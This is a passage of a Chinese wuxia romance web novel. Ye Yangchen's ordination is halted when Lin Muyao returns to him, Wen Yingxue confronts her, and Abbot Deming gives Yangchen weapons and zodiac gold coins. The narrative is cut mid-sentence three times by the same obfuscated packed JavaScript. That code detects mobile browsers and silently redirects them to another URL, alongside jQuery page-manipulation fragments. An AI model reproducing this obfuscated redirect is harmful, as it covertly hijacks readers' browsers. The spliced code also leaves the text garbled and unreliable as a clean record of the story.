叶清扬挑眉,“事情不全是你想的那个样子,哥哥现在跟慕瑶嫂子的感情挺好的。” “感情好还出家?你还瞒着我?”温映雪突然吼道,“你少骗我,之前芷萱都已经告诉我了。” 叶清扬不知该怎么解释,他的嘴本来就笨,被映雪这么一质问,他就更加说不出话来。清扬憋了半天,才说道:“哥哥和嫂子感情不睦那都是前些年的事了……” “好啦,你赶快过去吧,”映雪打断他,仍然没有好气,“否则你的心上人等急了肯定生你的气。” “没事,我陪你坐一会儿,我也有段日子没见你了。” “呦,还算你有良心,比晨晨哥强多了。那家伙现在心里只有媳妇,一点都没有我这个妹妹了。”温映雪并不是在打趣开玩笑,她说这话时语气虽然轻松,但脸上挂着难掩的失落。 清扬转而问道:“映雪,你没劝劝哥哥吗?” “怎么可能没劝?但那死心眼的家伙是吃了秤砣。” “吃秤砣?哥哥吃秤砣?” 温映雪翻了个白眼,不耐烦道:“铁了心。” 清扬这才恍然,“那你说哥哥三日后真的会出家吗?” “谁知道呢?晨晨哥从不喜欢按常理出牌,特立独行惯了的。”温映雪轻叹着,“不说他了,对了,芷萱还在泽清山吗?” “没有,她在楚州。” “楚州?” “是啊,我们一起去守城,这次姐姐就没有回来。” 映雪“哼”了一声,“晨晨哥可真行,就让自己妹妹一个人在楚州抗敌,自己却有闲心跟那个林慕瑶谈情说爱、你侬我侬。” 叶清扬当然知道哥哥这次回西关主要是因为身世的事,而不是为了情爱,只是这件事事关重大,这事说出来就要解释一大堆,他现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13186271|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要急着去解决哥哥出家的事情,此时此刻他还没有心思聊这些。 映雪带着怒气道:“无论晨晨哥最终是否当和尚,我都会赶去楚州找芷萱,你们不心疼她,我还心疼呢。” 叶清扬建议道:“也许我们可以同路的,我们也要回楚州的。” “你说的我们是指你和那个林诗怡?我才不跟你们同路,看着你们这些人肉麻地谈情说爱,我反胃作呕。”映雪给清扬使了个眼色,“不说了,你的心上人等你等得急了,都朝这边看了好几眼了,你快点过去吧。” 叶清扬看过去,诗怡果然在看自己这个方向,他站起来,“那你好好照顾自己。” “知道了,真啰嗦。” 清扬朝诗怡走了过去,诗怡急切道:“我们快走吧。” 清扬没有多言,他和诗怡下山去了。 两人到了玉林庵,林慕瑶依旧把自己关在禅房里不肯出来。 林诗怡站在慕瑶禅房门口喊道:“姐,你快点出来吧,你喜欢的那个死心眼三日后就正式剃光头啦,你要是再不去劝劝他,就来不及了。” 听到这个消息,林慕瑶的心还是狠狠地抽搐着。踌躇片刻,她还是打开房门,咬着嘴唇平静道:“诗怡,你走吧,不要再跟我提那个人了,他要不要做和尚已与我无关了。” 林诗怡郁闷地叹了口气,“姐,你真的不在乎阳晨哥了?他这次是真的要出家了,我没有说谎。” “我知道你没有说谎。可在乎有什么用?只不过徒增难过和伤心罢了。” “姐,你真的听我一句劝,你们这样逃避也不解决问题啊。” “你不是我,很多事情你不会明白的。而且我们这不是逃避,只是无奈罢了。” “可是姐,你就没有什么话与叶阳晨说吗?就真的说不清楚了吗?” 慕瑶被戳中痛处,她心里默念:“还能说什么?还能说清楚什么?”的的确确,两人那么多年的感情岂是几句话讲得明白的。 那一刻,林慕瑶方才明白,她和叶阳晨,这辈子不外乎两种结局,要么相守一生,要么形同陌路。 林诗怡见劝不动姐姐,也就不多劝了,至少她把叶阳晨的消息告诉了姐姐,也就无憾了。两个人一个比一个拗,诗怡也灰心了,干脆不想管这事了。她本想拉着清扬离开赤兰山,可清扬还是不死心,一定要亲眼看哥哥是否会真的出家,诗怡迁就他,于是两人又返回了叶归寺。 三日很快过去,德明方丈亲自设立戒坛,为叶阳晨举行授戒仪式,寺里的僧众也都来观看。 一切准备就绪,仪式即将开始,温映雪见之落泪,她实在看不下去这种场景,只好跑去寺庙外透透气。 仪式从导引进行到灌顶,德明方丈手持净瓶,走到叶阳晨面前,他用手沾着净瓶中的甘露水,轻洒在叶阳晨的头顶。连续三次后,灌顶仪式结束,有一侍者取来戒刀递给德明方丈。 德明住持手持戒刀,郑重说道:“吾今以此戒刀,断汝之发,绝尘缘永灭,汝将有悔乎?” 叶阳晨心中悲凉一片,冷静说道:“弟子决志出家,断无悔退。” 林诗怡和叶清扬站在一旁也是五味杂陈,百感交集。清扬从来没有那么紧张过,他真怕那把戒刀落下来。 德明住持举起戒刀,刚要落下剃发,大殿外突然响起急促的脚步声,未见其人,先闻其娇声语,“等一下……”这个刻骨铭心的声音,叶阳晨不能再熟悉了,可他只是任由自己的心抽搐了一下,却没有打算再回头。 发可以落,心志不改。 103. 第一百三章 见林慕瑶气喘吟吟跑进大殿,叶清扬重新燃起了希望,林诗怡的眼神里也带着笑意。德明方丈见到林慕瑶着急的神情,也便猜到了她的来意,拿着戒刀的手也渐渐放下来。 叶阳晨缓闭双眼,“师父,时辰已到,不必理会其他,还是尽快为我剃发吧。” 林慕瑶快步上前,她情动心弦,眼含热泪,“叶阳晨,你混蛋,你是存心不让我安生。”叶阳晨沉默不语。 林慕瑶关心则乱,也顾不上周围都是僧徒,声音娇柔道:“叶阳晨,我不许你…出家做和尚。”慕瑶就是那样,即使生气愤怒的时候,说话也很少高声,而是细声细语的,让人一听心里都快融化了。 叶阳晨的心痛如绞,但依旧平静说道:“我劝不动你,你也休想说动我。” 叶阳晨看向德明方丈,“师父,抓紧时间吧。” 看着叶阳晨如此坚决,慕瑶这才能体会到叶阳晨劝自己不要出家时的心情。林慕瑶紧咬着嘴唇,这个时候她还真拿叶阳晨没办法,纠结中她终于还是说出了心底的话,“我跟你走还不行吗?” 话音落下,叶阳晨身体一抖,他几乎不相信这是慕瑶说出口的话。半晌,他才快速转过身来,眼眸如星地望着慕瑶,“你说真的?你不骗我?” 慕瑶同样深情含泪地看着叶阳晨,语气舒缓而坚定,“不骗你。” 两人目光交汇,彼此心中甚至生出一种劫后余生的感觉。 叶阳晨站起来,双手按住林慕瑶的双肩,“瑶儿,这次不能再变了啊。” 慕瑶将头扭到一侧,轻轻点了点头。 叶阳晨实在是太高兴了,情不自禁地抱住了林慕瑶。这个拥抱对慕瑶来说,恍如隔世,幸福来得太久,太迟,令她无法拒绝这片刻的感动。 诗怡早就猜到阳晨和慕瑶不会真的割断彼此的感情,也不信两人真的会走到出家那一步,只是千猜万想,没想到他们竟然会在最后一刻才重归于好。诗怡不禁心中感叹:“果然从前听人说过,爱可以是蜜糖汁,也可以是断肠药,陷入其中的人不仅当局者迷,还会被爱而不得的感情折磨。” 少时,慕瑶才反应过来,这是佛门清净之地,她与叶阳晨这样抱在一起实在不妥。林慕瑶推开叶阳晨,见大家都在看着他们两人,她羞赧地跑开了,叶阳晨随之追了出去。 叶清扬也要跟出去,林诗怡连忙拉住他,“你要干嘛?” 叶清扬如实道:“去看看哥哥。” “你怎么那么傻啊?这个时候他们俩肯定有一肚子话要说,你总要给他们两人一点私人空间。” 叶清扬恍悟,于是皱皱眉走开了。 大殿里的僧徒面面相觑,住持德明却一脸欣慰地将戒刀放回托盘里。德明早就看出叶阳晨与佛无缘,当然这不仅仅因为林慕瑶,而是他看出叶阳晨乃潜龙在渊,将来必定身许家国,心向苍穹。 在寺庙外,叶阳晨再次情不自禁地抱住了林慕瑶。 林慕瑶慌张地推开他,“你干什么啊?在这里你都这么大胆,如果让别的僧人看到像什么话?何况你还穿着僧袍呢!” 由于今天要来寺庙见叶阳晨,林慕瑶便没有穿自己的海青,而是穿着白色收腰纱裙,给人一种仙气飘飘的感觉。叶阳晨也是见慕瑶如此光彩照人,才会有些情不自禁。 叶阳晨忍住笑,“好,我不碰你,以后我们绝不分开。” 林慕瑶娇羞道:“我就再相信你最后一次,如果日后你说的话做不到,我就永不原谅你。到那时我就躲到一个你找不到的地方,再也不见你。” 叶阳晨郑重点头,“我知道,我会抓住这最后的机会,抓住你。进坟墓前,我不会再松手。” 慕瑶用纤纤手指封住了叶阳晨的嘴,“你的嘴总是没个把门的,就知道乱说。” “从今以后,无论发生什么,你都是我的妻。” 慕瑶害羞道:“你也不问问人家?就说我是你的妻子。” “小时候我就问过了啊。” 慕瑶嘟着嘴,“你胡说,那次根本就没问我,是强拉着我拜堂的。还有,那时候太小,不算!” “那我们就再拜一次。” “那你要问我同意不同意?” 叶阳晨傻眼了,“你是想耍赖吗?你刚才在大殿里答应我的。” 慕瑶轻轻抿嘴一笑,故意逗叶阳晨,“我答应你什么了?我只说跟你走,但没说嫁给你。” “好,你说话不算,那我进去继续剃度。” 林慕瑶一手抓住叶阳晨,另一只手揉搓着腰间的白丝带,羞涩道:“你回来嘛……” 叶阳晨拉住林慕瑶的手,“瑶儿,对不起,这次让你受委屈了。从今往后,我只在乎你一个人的感受,即使背负骂名,我也不再辜负你。” 林慕瑶神色闪过一丝伤感,“经此一事,我终于明白了,即使我们在乎亲人和外人的想法,即使我们想退,想逃,但终究退无可退,逃无可逃,甚至折磨彼此痛不欲生。今生我们遇见了,无论是错是对,总归无法挥泪斩情丝,那么我们顺就应上天的安排,从此就不要再分开了。” 叶阳晨心受触动,“瑶儿,之前你从来没有对我说过这样的话,所以我也没想到你对我的感情也如此深了。” “你小瞧人,我对你的感情不比你对我的少上一分一毫。” 叶阳晨坏笑着:“你还是第一次这么直白地表达对我的感情,我好喜欢听,你再对我说些动人的话吧。” “美得你,我不要说了。” 叶阳晨敛去笑容,坦言道:“你知道的,我从小胡闹惯了,也不把什么条条框框放在眼里。我可以为了你不顾生父的遗愿,也可以为了你不顾与卫泽楠是亲兄弟的事实。可我万万没想到,你终有一天也可以为了我不顾林伯伯的反对,甚至会为了我做一个“不孝顺”的女儿。” “你又笑话我?”林慕瑶翘着下巴,“你能为我做那么多,我为什么就不能呢?谁说女子不如男的?这些年你为我做的每件事,我都默默记在心里,只是不说罢了。我知道你为了我吃了许多苦,更知你的心为我煎熬了许多年,所以现在也轮到我为你做些什么了。从前我欠你的情意,以后我都会还的,会补偿你的。” 慕瑶一下子说了那么多,叶阳晨心里溢满感动,竟不知该说什么。 慕瑶忽地一抬头,对上叶阳晨灼灼烈焰的眼神,只好又垂下眼睑低语着,“心被你骗走了,我也只能认命了。” 见叶阳晨依旧不说话,林慕瑶喃喃问道:“你是对我没信心吗?” 叶阳晨如实说道:“曾经是的,不过现在不会了。小时候你那么讨厌我的,所以我才会那么不自信的,这也是为什么那些年我总要每年去西关看你一次,而且每次见到你总要看赤玲珑印记才放心。即使我们长大后,你也很少对我表露真心,我又怎么能清楚知道你是怎么想的呢?” 林慕瑶这才深刻理解了叶阳晨,回忆这些年来,她确实很少向叶阳晨表达爱意。一是性格使然,很多事慕瑶喜欢藏在心里,不喜欢表露出来。二是她毕竟是女孩子,总是要矜持一些的。三是在很长一段时间,慕瑶对叶阳晨的感情都没有很深,自然没有刻骨铭心的话需要说出口。四是即使后来她对叶阳晨感情深了,她自己并不清楚。 林慕瑶乖巧温柔道:“那你现在自信些了吗?” 叶阳晨点点头,假装一本正经道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13194639|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “差不多了,但是如果你能每天说一句动听的话给我听,我就会更有自信的。” 起初慕瑶没察觉叶阳晨是在逗自己,还有点害臊,这么肉麻的话让她每天说的话,她还是说不出口的。慕瑶面色一滞,见叶阳晨似笑非笑的样子,她才反应过来,“你脸皮真厚,真讨厌。” 慕瑶微微翘起唇角,“还有,你不要痴心妄想了,我才不会日日对你说这样的话,好肉麻,我好难为情的。” 林慕瑶看着平日里那么不可一世的叶阳晨,此时确是憨憨傻傻的样子,不禁觉得好笑极了,于是也露出灿烂的笑容。 无论何时,叶阳晨都觉得慕瑶的笑是最好看的,如明媚的一束光照亮着自己的心。慕瑶原谅了自己,叶阳晨突然觉得他的世界拨云见日、重见光明,于是兴奋道:“那我们明天就回西关道吧?” 林慕瑶矜了矜鼻子,“我不回去了。” “那我们去哪儿?” “你去哪儿我就去哪儿!”慕瑶声音娇媚说着。 “也不告诉你的家人吗?说都不说一声?连个招呼都不打?” “不打,不说。”林慕瑶黛眉微蹙,“阳晨,我了解我的父亲,他把信诺两字看得极重,让他突然间改变是不可能的。我们现在回去就是挨骂,说不定我爹还会把我锁在房间里。” 叶阳晨试探问道:“那你总不能一直不回家啊?” “过些时日吧,等到父母气消了,又能理解我们一些了,我们再回去赔罪吧!” 叶阳晨喜出望外,“那我们找个没人的地方隐居,过逍遥快活的日子。” 林慕瑶浅笑,“你不做官了?” “我本来就不想做官,要不是为了迎娶你,我才不要那功名呢!” “真的吗?你真的能做到乞身隐退吗?” “当然是逗你的,我们还是再等上一两年,等把蒙古人赶出家园,再去过逍遥日子吧。我并非贪权慕禄,可现在神州狼烟四起,山河破碎,且吾丰国少有良将,好男儿理应上阵杀敌。我现在不再认为自己是长史文官,而是守关武将。”叶阳晨受师父仁渊教诲多年,早已知书明理,更懂得了责任和担当。 林慕瑶眉眼弯弯,“嗯,我喜欢的人将来肯定是众人敬仰的大英雄,是国之栋梁,民之希望。所以我不能那么自私地将你困于一隅,我要陪着你飞得更高。” 叶阳晨兴奋笑着,“那媳妇的意思是接下来要陪我去楚州吗?” “有什么不可以吗?”慕瑶难得俏皮一笑,笑完才反应过来,“你又趁机占我便宜。” 叶阳晨用手轻轻捏了一下慕瑶的鼻子,“可是打起仗来,我可能就没时间照顾你了。” “哎呀,你好烦人,谁让你照顾啊?你听过杨宗保照顾穆桂英吗?” “我可舍不得让你做穆桂英,万一有任何闪失,我可承受不住。” “我可是会武功的。”一向淑女形象示人的林慕瑶,在叶阳晨面前也会撒娇,也会有可爱的一面。 “你的那点三脚猫功夫,不说也罢。” 慕瑶一努嘴,“那还不是你这个师父教得不好。” “你还敢乱说,当初我逼着你学,你怎么都不肯学,难道你都忘了?” “好嘛,那我不上战场,坐在中军帐里,这总可以了吧?我一本孙子兵法,学韩信,帮你决胜千里之外。”叶阳晨刚要说话,林慕瑶打断道:“这是最后的底线,我就要跟着你,没有再商量的余地。” 叶阳晨面色一滞,随之摸了摸慕瑶的脸颊,宠溺道:“好,我答应让你在军帐运筹帷幄,总之,从此我再不让你离开我身边。” 话音落下,林慕瑶终于展露笑颜。 104. 第一百四章 叶阳晨再次情不自禁地把林慕瑶拥入怀中。 须臾,慕瑶柔声道:“阳晨……” “嗯?” 慕瑶对未来生活充满神往,“其实我也好想过你刚刚说的那种隐居世外逍遥快活的日子。等到海晏河清、雨顺风平,我们就再不问世事,好不好?” 叶阳晨又把慕瑶搂得紧了些,“当然好,我刚刚不是答应你了吗?我保证,一言为定。” 林慕瑶娇语道:“不过去楚州前,我想先去个地方。” 叶阳晨松开林慕瑶,“去哪儿?” “回趟泽清山。” “回…泽清山?” “是啊,回家看望一下爹娘啊。” 叶阳晨愣了一下,他完全没想到慕瑶会说回自己家,于是问道:“你从前不是最讨厌泽清山吗?” “你也说了那是从前啊,现在我已经不讨厌了。谁让小时候你把我绑上山寨的?所以小时候我恨死了那里,那里简直就是我的“梦魇”,更是“牢笼”。” “那现在怎么改变啦?” “此一时彼一时啊,现在我是你的…所以那里以后也是我的家啊!” 叶阳晨坏笑,“怎么话说到一半还不好意思说了?就是说你已经认同自己是土匪夫人了?” “还土匪夫人?真难听。” “那就换一个,压寨夫人。” 林慕瑶翘起嘴唇,“这不都一样吗?也没有太大区别啊!” “就是没区别啊!常说嫁鸡随鸡嫁狗随狗,我就是去要饭,你将来都要跟着我的,这辈子你都是我的妻子,这是永远不会改变的。” 慕瑶娇声娇语,“瞧你臭美的,真是坏蛋呢。” “娶你做媳妇是我九岁就有的心愿了,一晃眼,我也等了九年了,你才承认是我媳妇,我当然美啊。” 慕瑶嘟着嘴,“好啦,都是我不好,都是我从前不懂事,才害你等了那么久。”与映雪、芷萱和诗怡相比,慕瑶身上没有一点娇气和骄气,说话做事总是那么温静平和。而且只要她做错了事,也都是敢作敢当,从来不会推诿。 叶阳晨解释着:“我逗你玩呢,我不是在抱怨的。” 林慕瑶突然正色道:“小时候我在泽清山时很不懂事,现在想来,爹娘当年对我还是多好的。离开泽清山这些年,我就再也没有回去过,心里还是有些自责的。我想着这次我们去楚州,可能短时间回不来了,所以我才想这次回去看看…咱爹娘,也算是尽一点点孝道吧。” “咱爹娘?咱爹娘?哈哈哈哈。”叶阳晨坏笑着。 “我就知道你会笑这个,又让你得意了。反正我是你的妻子了,我叫他们爹娘也是应该的。”慕瑶性格温婉,但行事向来落落大方,到了这个时候,感情至此,她也便不在心上人面前因一个称呼而矜持了。 叶阳晨心里感动,“瑶瑶,你真好。” 林慕瑶幸福一笑,“好啦,你快去把衣服换回来吧,我们不要再耽搁时间了,今日就下山!” 叶阳晨高兴地朝着寺庙里跑去,跑了两步转过头,“瑶儿,我想到了,既然土匪夫人和压寨夫人你都不喜欢,那我又想到另外一个称呼。” 林慕瑶嫣然一笑,“什么啊?” “贼婆娘。” 林慕瑶脸颊霎时微红,“属这个最难听,你怎么那么讨厌啊?” 叶阳晨故意气林慕瑶,嘴里不停地叫:“贼婆娘…贼婆娘。” 林慕瑶微微嘟着嘴,“你这个混蛋,就知道欺负我。” 叶阳晨咧嘴笑着,“我们慕瑶也说脏话了。” 被叶阳晨这么一笑,林慕瑶更加脸红耳热,“还不是被你气的?” 叶阳晨也不在逗她,径自朝着寺门走去。 看叶阳晨蹦蹦跳跳地进了叶归寺,林慕瑶感觉从未有过的轻松。这是她来了这里后,第一次有这份闲情逸致欣赏赤兰山的美景,饱览这里的青山绿水,鸟语花香。林慕瑶正沉醉在美景中,温映雪从庙门外不远的树林里走了出来。 温映雪冷语道:“你就是林慕瑶?” “是啊。” 映雪依旧带着不屑,“我总算见到真人了。” 林慕瑶疑惑问道:“敢问你是……” “我叫温映雪。”映雪俏脸上的寒霜终年不化。 慕瑶略微惊讶,随之露出平和近人的笑容,“哦,原来你就是阳晨的师妹小雪啊!”叶阳晨跟她提过这个名字许多次,她虽与温映雪素未谋面,但对这个女孩再熟悉不过了。 虽然只是简单一瞥,但映雪的清丽容颜还是令慕瑶心中一荡。慕瑶从小就被世人夸长得姿颜姝丽,她几乎听到过所有形容美丽的辞藻。慕瑶虽然不以美貌为傲,但也基本习惯所有人的夸赞。直到今天她看到了温映雪,慕瑶才承认这个世界是有比自己貌美的女孩的。可能外人会说两人的美难分伯仲、各有千秋,但慕瑶坚持认为映雪美得更有神韵,很多年后,她依然这样认为。 温映雪毫不给面子,“你别叫我小雪,我与你不熟,只有我身边最亲近的人才那么叫我的,我看你还是叫我大名的好。” 林慕瑶没有受过这等冷遇,脸色微微尴尬,但是她并没有生气,因为从前叶阳晨就跟她说过映雪是个特别有个性的女孩,慕瑶心里多少有些准备。 温映雪继续说道:“刚刚你和晨晨哥说的话我都听到了,说实话我还是不太相信你的。可那个傻瓜信你,我也就姑且再信你一次。尽管我依然不喜欢你,但是只要以后你不再伤害我哥,我愿意认下你这个嫂子。可如果你再做一件伤害我哥的事,我就对你不客气。你不要觉得我哥宠着你,但是他不敢在我面前托大。” 林慕瑶明显能感觉到映雪对自己的敌意,她也想得明白这个偏见就是因自己从前对叶阳晨不好而来,所以她并没觉得委屈,因为小时候自己确实是讨厌叶阳晨的,更不要说喜欢了。 慕瑶依旧温暖一笑,“映雪,我知道你对我有些偏见和误会,但我想你还是听我简单跟你解释一下后再气我恼我,可以吗?” 映雪语气霜寒,“有这个必要吗?” “当然有,非常有。想必我和你阳晨哥的事你也知道一些,被他抢上山的那年我才八岁,试问那时候的我能懂得什么?那时的我除了害怕就是恐惧,对叶阳晨自然又讨厌又恨。如果是你被别人抢劫了,你能做到完全不恨而爱吗?” 映雪虽然霸道任性,但是内心是善良明理的,听慕瑶说起当年的“遭遇”,她是能理解的,而且还生出一丝同情来。 慕瑶继续缓缓说着:“我不像你们与叶阳晨从小一起长大,你们彼此很了解,而我完全不了解叶阳晨的脾气个性,等我发现他的善良、真诚、重情重义都是好多年以后的事了。” “时间慢慢流逝,叶阳晨陪着我从童年到承认,我才渐渐发现这个男孩在我心里的份量不一样了。这次如果不是我爹爹突然发现故人之子尚在人世,我和叶阳晨已经幸福在一起了。父亲逼我履行指腹婚约,我怎么都不肯,这才跑到玉林庵出家,我坚守的也是对他的那份感情。至于阳晨,他是后面才追了来,我也并没有逼他出家。我可以发誓,以后我绝不负叶阳晨,我的心里也只有他一个人。” 映雪出身江湖,难以理解世上怎么会有那么迂腐的父亲,只是冷艳如霜的脸有了一丝融化,语气也转为温和了些,“总之不管从前怎样,现在你们既然有情,就好好相守,不要再伤害彼此了。” 慕瑶心知映雪对叶阳晨的感情,发问道:“你一直很崇拜你的阳晨哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13203954|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 温映雪脸上不露喜怒,严肃的表情仍令人不敢轻易靠近,“这就不劳你多问,我只希望你能不再伤晨晨哥的心。他的心像水晶一样透明,错过了他你将来肯定会后悔的。” 慕瑶眸含春水,清波流盼,“小雪,我知道让你一下转变对我的印象是很难的,我也不再多为自己辩解了,我想还是把有些误解交给时间吧。总有一天,时光会温暖岁月,也许到那一天或许你能叫我一声姐姐,而不是嫂子。” 温映雪语气冷淡,“想让我完全认可你,那还早着呢。”说完,温映雪意味深长地看了慕瑶一眼,然后连个告别话也没有说,便径直朝着下山的路走去。 林慕瑶一愣,“映雪,你这是去哪儿?你不跟我们一起走吗?” 温映雪没有回头,只是高声喊道:“用不了多久,我们会再见的。” 温映雪走了,直至望着她的背影消失在树林中,林慕瑶仍在心中感慨:“这个女孩真是爱憎分明,气度不凡,行事竟没有一丝拖泥带水。” 与此同时,在方丈的禅房里,方丈坐在床榻上对叶阳晨说着离别的话,“小晨,你跟我佛无缘,但是你跟林小姐有缘,我也替你开心。你与我佛无份,但却是天下苍生的福分,我也黎民百姓庆幸。你走吧,去到更广阔的天地,假以时日,你必能展翅高飞,立千载之功。” 叶阳晨当时并不明白德明师父所说的“天下苍生的福分”是何意思,不过他一直觉得,出家人说的话总是高深莫测,也就没有追问。 叶阳晨还是有些愧疚,“韩伯伯,在这里打扰这么久,我对不起您。” 德明方丈摆手慈祥一笑,“不要这么说,你我能相遇总是幸事,好过世间生生相错。” 之后,德明法师下了榻,“小晨,你跟我来一下。” 叶阳晨跟着德明来到寺里的练功房,德明按动墙上的机关,暗门随之转动,他带着叶阳晨走进里面的密室。 叶阳晨放眼望去,密室里的兰锜上摆满了兵器,他不由得猜测韩伯伯年轻时也应该是个武痴。 德明走到密室的尽头打开一个竖条暗格,从里面取出一把三叉昆仑戟,这件兵器是德明的心爱之物,所以它放的位置更隐蔽一些。 德明温声道:“小晨,你马上又要上战场了,韩伯伯也帮不上你什么忙,我就把这件兵器送你防身吧。它是由玄铁打造,锋利至极,希望它能助你凯旋而归。” 叶阳晨把三叉戟拿在手里掂了掂,感觉到这物件极重,但他天生喜欢用重的兵器,他觉得那样耍起来才趁手才更有力量。 叶阳晨展颜一笑,“韩伯伯,刚刚我瞟到暗格里还有一把兵器,能否也让我看看那件兵器?” 德明再次把暗格的小门打开,介绍着:“这件兵器叫沉月长枪。” “韩伯伯,这个可不可以也送给我?我想把这个给我弟弟用,我觉得这件兵器很适合他。” “那有何不可,你用得上拿去便是。”这两件兵器放在这个暗格里好多年了,德明今天也算是忍痛割爱了。 叶阳晨正在那里看着兵器,德明又打开旁边的另一个暗格,这个暗格藏得更隐蔽。德明从这个暗格里拿出一个精致的镶金漆紫檀木盒,然后笑着递给了叶阳晨,“这个也是送给你的。” 叶阳晨接了过来问道:“师父,这是什么啊?” “这算是临别前,我送你的另一件礼物吧,而且很有寓意。你打开看看。” 叶阳晨边说边打开小盒子,里面竟然整齐嵌放着十二枚闪亮夺目的圆形金币。这十二枚圆形金币一面刻着图案,另一面则刻着文字。 叶阳晨随意拿起一枚金币来看,金币正面画着的是一个秤的图案,他翻看金币背面,上面写着三个字——“天秤座”。 105. 第一百五章 德明住持捋着胡须,“好巧,你随手就拿到天秤座的金币,天秤座乃是黄道星座众星之首。” “众星之首?” 德明点头,“是的,你也看见了,这个盒子里的金币一共十二枚,代表着十二颗守护星,也叫十二将星。由于天秤座寓意平等公正,故而它的地位不言而喻。” 叶阳晨不解,“守护星?那是什么意思?” “守护星,是指和平的星辰守护者,至于守护星的秘密,天机不可泄露。不过我可以告诉你的是,那个天秤座属于你,是你的守护星,象征你心存公道正义,心系天下太平。” 叶阳晨记下了德明说的话,然后继续翻来覆去看着金币,“这金币的样式好奇怪,看着不像我们中原的东西。” “小晨,你果然好眼力,这是十二年前,西域的一个高僧带来中土的。至于每枚金币后面的汉字,则是我与那位西域高僧谈佛论道后,贫僧亲自刻在后面的。” “师父,你为何送给我这个?” “这算是信物吧,保你平安顺遂。当日高僧给我金币时,让我将来把它们赠与有缘人。他还曾对我说,‘遇晨与惠,福厚缘深’。我当时并不明白那句话是什么意思,他也没把话说明白。如今想来,那个“晨”字大概就是暗语你的名字吧,我想那个有缘人应该就是你了。日后你征战四方,身边会遇到更多有缘人,你便可将其余金币赠予各将星,而后你们必能决战千里,狼烟散尽。” 叶阳晨眉头微攒,“韩伯伯,你说的话我还是有些不太懂。我要赠给谁?各将星又是谁?他们都在哪儿?” “三千路云赴战,十二将星归位,春暖花开风雪无,悲从喜来在归途。我只能跟你说这么多了,日后你自然会懂的,你务必把东西收好。” 叶阳晨不再多问,只是听话把此信物收好。 两人走出密室,回到禅房,德明法师继续说道:“对了,小晨,我还要麻烦你一件事。” “韩伯伯,你尽管说,小侄当效犬马。” “我想让你离开时把缘空带上。” 叶阳晨一怔,仔细回忆了一下才想起来,就是那天“招惹”了温映雪,后被方丈责罚的那个小和尚,“德明师父,我带着他去做什么呢?” “你就带着他一起征战去吧,他习武天赋异禀,应该对你会有助益。缘空俗家姓“霍”,单名一个“玉”字。儿时因全家都被蒙古人杀了,故逃难至此地。老衲本想让他皈依我佛,可他身上背着血海深仇,不了结此事,他始终不能安心入我佛门。故而我思虑再三,还是让他蓄发还俗,了却仇怨。只是这孩子命苦,日后还请你多加照顾。” “韩伯伯,你放心吧,小侄定不负你所托。”叶阳晨没想到霍玉竟然有如此坎坷身世,诚心答应德明方丈。 言毕,德明把霍玉被叫了来,又交代叮嘱道:“缘空,你就跟阳晨他们一起走吧。” “师父,我……” “去吧,别苦着自己,人生在世,总要寻个自在心安。” 霍玉含泪点了点头,千言万语萦于胸中,最后化为一句话,“谢师父,您对徒儿有养育再造之恩,徒儿一刻不敢忘怀。待徒儿报了国仇家恨就回来侍奉在师父左右。”霍玉自小长在叶归寺,德明于他而言亦师亦父,现如今要离开了,他心中自然有诸多不舍。 德明缓缓说道:“去吧,日后多行善事,不枉曾佛门前停留。佛不遥远,只在你心间。记住,心若向佛,人生处处皆是修行。” 最后,叶阳晨和霍玉双双对德明行稽首礼告别。两人出了德明住持的禅房,站在寺庙院子里的林诗怡和叶清扬走了过来。 远远地,叶阳晨便将沉月长枪扔了过去,叶清扬稳稳地抓在手里。 看到这把枪,清扬先是一怔,随之双眸突现一抹异彩,好像如获至宝一般,“哥,这兵器……” 叶阳晨莞尔一笑,“这件兵器送你的。” “送我的?哥,这兵器真棒。”一听哥哥说这兵器是给自己的,清扬的嘴都合不拢了。清扬都没有多问哥哥这物件是从哪儿得来的,只是兴奋地看着这长枪,喜欢得不行,宝贝得不行。 诗怡从来没有见过清扬高兴成这样,她甚至不知道清扬也可以眉开眼笑,于是调侃道:“不就是件兵器嘛,至于高兴成那样吗?看你傻笑那样。” “当然至于,这可是沉月长枪,沉月…长枪。”清扬的眼睛还在盯着兵器看。 四人相互走近了些,叶阳晨才对着叶清扬说道:“弟,一会儿再看你的兵器,哥先给你介绍一下,这个是霍玉,以后也是我们的兄弟了,他要跟我们一起去楚州,你找一件自己的衣服给他换上。” 林诗怡在一旁笑道:“这是和尚要还俗吗?好好玩啊。” 听见林诗怡这样说,霍玉微微有些不好意思。 叶阳晨拍了拍霍玉的肩膀,“别介意,这丫头就是喜欢开玩笑。我给你正式介绍一下,这位是我的弟弟叶清扬,而这个逗你玩的丫头,就是我未来的弟妹林诗怡。” 